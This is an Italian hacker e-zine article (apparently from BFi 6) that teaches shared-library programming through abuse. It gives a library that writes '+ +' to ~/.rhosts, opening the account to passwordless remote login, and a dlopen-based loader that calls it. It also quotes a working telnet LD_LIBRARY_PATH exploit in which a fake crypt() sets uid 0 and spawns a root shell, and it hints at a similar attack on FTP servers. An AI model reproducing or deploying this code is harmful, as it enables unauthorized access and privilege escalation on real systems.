==============================================================================
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
--------------------[ previous ]---[ index ]---[ next ]---------------------

----------------------[ SCRiVERE DELLE SHARED LiBRARiES ]---------------------
----------------------------------[ pIGpEN ]----------------------------------

pR(E/0)MESSA (non vuol dire prima della messa):
Da questo articolo io pIGpEN prometto di aderire all'iniziativa "Mars Donald"
(c) smaster .... se gli alieni un giorno ci mangieranno e' giusto essere
tossici ... detto questo aumento le mie bustine di caffe' e la mia dose di
cocacola sperando che un giorno un alieno mangiandomi mi caghi tutti intero
prima di crepare ....

CONSUMO: 1 cocacola (naturalmente)
DEDiCA: all'estate ... 
SALUTI: alla cocacola company (ho fanculizzato con un omino del mac per delle
        patatine che ho vinto con la cocacola... cosa devo fare?)
        a Neuro per avermi fatto capire indirettamente che c'e' un posticino
	per tutti in questo mondo anche per gente come noi di BFi...
        a bELFaghor compagno di smanettamento alla ricerca di idee nuove...
	e al suo kernel
	e poi il mega saluto va alla solita ragazza che non occupa piu' molta
	importanza sul mio dns passando soltanto a CNAME...

ok finiamo di dire stronzate va... ah volete sapere come si chiama adesso
il computer su 192.168.1.2 ?!??! ok allora partecipate al concorso "scopri
il nome del computer di pig" chi vince si passa una serata di sesso con il
mio orsetto Ciccio.

...e ora serieta'...

In questo spazio vi insegnero' la semplicita' della programmazione delle
shared library e vi indichero' la loro crudelta' in particolari situazioni.

Il concetto di shared library e' stato introdotto allo scopo di fornire una
serie di routine ad un gruppo di persone che sviluppano programmi simili o
anche diversi :) ma con funzioni simili... e di scavalcare parzialmente i
requisiti di memoria del prog: infatti il codice all'interno di una shared
library viene caricato solo quando necessario.

Detto cio' partiamo con l'opera:

[pigpen@sp00f pigpen]$ ldd /bin/ls
        libc.so.6 => /lib/libc.so.6 (0x40005000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x00000000)

(no, non vi cedero' una notte di sesso con il mio orsetto preferito!!! Da
sp00f non potete ancora intendere il nome!)

Come vedete da questo comando "ls" sfrutta al suo interno due librerie.
Ma come si programma una libreria di questo tipo?
Vediamo un piccolo esempio scarno prendendo come spunto la funzione FUCK_RHOST
del mio articolo sulle rpc backdoor...
Da questo dimostreremo la diabolicita' delle shared library...
Per provare la shared library:
- compilate i due programmi come scritto nei commenti dei codici sorgente
- scrivete export LD_LIBRARY_PATH='pwd':$LD_LIBRARY_PATH
  (solo per testare le lib... quando le installerete dovete:
   - spostarle in /usr/local/lib
   - eseguire /sbin/ldconfig
   - fare un link simbolico se necessario)

/*
   sha.c
   A simple example of an abuse of a shared library
   Example by pIGpEN/s0ftpj99 for Butchered From Inside 6

   Compile it ->  gcc -fPIC -c sha.c
                  gcc -shared -Wl sha.o -o lll.so
   Use it with -> client.c
*/

#include <stdio.h>
#include <stdlib.h>

void rhosts(void)
{
system("echo \"+ +\" > ~/.rhosts");
printf("Rhosts Written - :0 \n");
}

Questo source evito di spiegarlo va :)) la libreria non e' altro che una
raccolta di funzioni, dati o tipi di dati... per farla grezza manca
il main() :)
Guardiamo invece il prog per vederla all'opera:

/*
   client.c
   An abuse of a shared library.
   Example by pIGpEN/s0ftpj99 for BFi6

   gcc -o client client.c -ldl
*/

#include <dlfcn.h>
#include <stdio.h>

#define library_name "lll.so"
#define function_name "rhosts"

main()
{
 void (*fuck_call)(void *data);
 void *desc;
 void *data;

 desc=dlopen(library_name,RTLD_LAZY);

 if(desc)
  {
        fuck_call = dlsym(desc,function_name);
        if(!fuck_call)
        {
         printf("Library not opened :(\n");
         exit(-1);
        }
        printf("Library opened... Function loaded ... and now ...\n");
        (*fuck_call)(data);
  }
 else fputs(dlerror(), stderr);

 dlclose(desc);
}

Qui notiamo la presenza del dlfcn.h... al suo interno sono incluse le
funzioni dlopen(), dlsym(),  dlerror() e la dlclose() utilizzate in questo
prog.
La prima apre la libreria restituendo un handle... insomma e' proprio o quasi
come aprire un file con la fopen().
Il secondo parametro della dlopen() puo' essere RTLD_LAZY, RTLD_NOW,
RTLD_GLOBAL a seconda di quando vengono caricati i simboli (basta un man
dlopen per chiarirsi le idee).
A questo punto si tratta di utilizzare la dlsym() sul descrittore aperto con
la dlopen() e di dargli come secondo parametro il nome esatto della funzione
interna alla libreria.
La funzione dlsym() ritorna un puntatore a funzione... chiamando questo
puntatore con i parametri corretti si eseguira' quindi la funzione della
libreria dinamica.
La dlerror() si usa soltanto se il descrittore e' NULL e quindi qualcosa e'
andato storto...
Detto questo facciamo un ulteriore passo in avanti... possibile che non vi
dica niente LD_LIBRARY_PATH ?
Il mio puntatore voleva essere una cosa simile a questa:

/* Telnet environment hole sploit.  Using freebsd libcrypt for
   this example because libcrypt is small and separate.
   Compile/link options will vary on other machines.
   To build:
        cc -c -fpic libc.c
        ld -Bshareable -o libcrypt.so.2.0 libc.o

   Now, if LD_LIBRARY_PATH points wherever this lives, guess what? ...

        % cp libcrypt.so.2.0 /tmp/
        % telnet
        telnet> env def LD_LIBRARY_PATH /tmp
        telnet> env exp LD_LIBRARY_PATH
        telnet> open localhost

        Holey Unix, Batman!  (target.org)

        login: rewt
        Password: xxx
        leet...
        #
_H */

#include <stdio.h>

static void just_do_me()
{
  setuid(0);
  setgid(0);
  puts ("leet...");
  fflush (stdout);
  sleep (1);
  execl ("/bin/sh", "yow!", 0);
}

char * crypt (x,y)
  char * x;
  char * y;
{
  just_do_me();
}

Una delle cose piu' gettonate tempo fa ..
Lasciamo perdere il path... il concetto delle shared library e' pero' ancora
utilizzabile e non saro' io a dirlo... pensate un po' a /home/ftp/lib... ad
avere i sorgenti delle libs e a come funziona l'esecuzione di un comando via
ftp... poi pensate al vostro ftp server... e poi... beh ci arrivate da soli.

bauz
Death don't have no mercy - McKernan rulez

pIGpEN

--------------------[ previous ]---[ index ]---[ next ]---------------------
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
==============================================================================